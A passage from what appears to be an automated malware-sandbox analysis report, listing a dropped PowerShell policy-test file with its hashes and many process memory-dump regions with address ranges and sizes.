                                                                                                                              c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                            • C:\Windows\Temp\__PSScriptPolicyTest_loedsvek.o02.ps1

                                                                                                                              Filesize

                                                                                                                              60B

                                                                                                                              MD5

                                                                                                                              d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                              SHA1

                                                                                                                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                              SHA256

                                                                                                                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                              SHA512

                                                                                                                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                            • memory/60-94-0x00007FF973AF0000-0x00007FF973B00000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/60-87-0x0000023EC8260000-0x0000023EC8287000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              156KB

                                                                                                                            • memory/60-93-0x0000023EC8260000-0x0000023EC8287000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              156KB

                                                                                                                            • memory/456-41-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/456-39-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/456-38-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/456-49-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/456-46-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/456-47-0x00007FF9B3A70000-0x00007FF9B3C65000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              2.0MB

                                                                                                                            • memory/456-48-0x00007FF9B1B20000-0x00007FF9B1BDE000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              760KB

                                                                                                                            • memory/456-40-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/512-98-0x0000018D26660000-0x0000018D26687000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              156KB

                                                                                                                            • memory/600-60-0x000002119DF00000-0x000002119DF27000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              156KB

                                                                                                                            • memory/600-53-0x000002119DF00000-0x000002119DF27000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              156KB

                                                                                                                            • memory/600-61-0x00007FF973AF0000-0x00007FF973B00000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/600-52-0x000002119DED0000-0x000002119DEF2000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              136KB

                                                                                                                            • memory/600-54-0x000002119DF00000-0x000002119DF27000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              156KB

                                                                                                                            • memory/672-72-0x00007FF973AF0000-0x00007FF973B00000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/672-71-0x00000198AEF40000-0x00000198AEF67000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              156KB

                                                                                                                            • memory/672-65-0x00000198AEF40000-0x00000198AEF67000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              156KB

                                                                                                                            • memory/948-82-0x0000022CC4AD0000-0x0000022CC4AF7000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              156KB

                                                                                                                            • memory/948-83-0x00007FF973AF0000-0x00007FF973B00000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/948-76-0x0000022CC4AD0000-0x0000022CC4AF7000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              156KB

                                                                                                                            • memory/1736-1-0x00000000005A0000-0x0000000000624000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              528KB

                                                                                                                            • memory/1736-0-0x00007FF995B43000-0x00007FF995B45000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                            • memory/2244-45-0x000002383C550000-0x000002383C76C000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              2.1MB

                                                                                                                            • memory/2244-36-0x00007FF9B3A70000-0x00007FF9B3C65000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              2.0MB

                                                                                                                            • memory/2244-35-0x000002383CAD0000-0x000002383CAF8000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              160KB

                                                                                                                            • memory/2244-25-0x000002383C520000-0x000002383C542000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              136KB

                                                                                                                            • memory/2244-37-0x00007FF9B1B20000-0x00007FF9B1BDE000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              760KB

                                                                                                                            • memory/3148-798-0x00007FF995B40000-0x00007FF996601000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/3148-16-0x00007FF995B40000-0x00007FF996601000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/3148-14-0x00000000004B0000-0x00000000004BE000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              56KB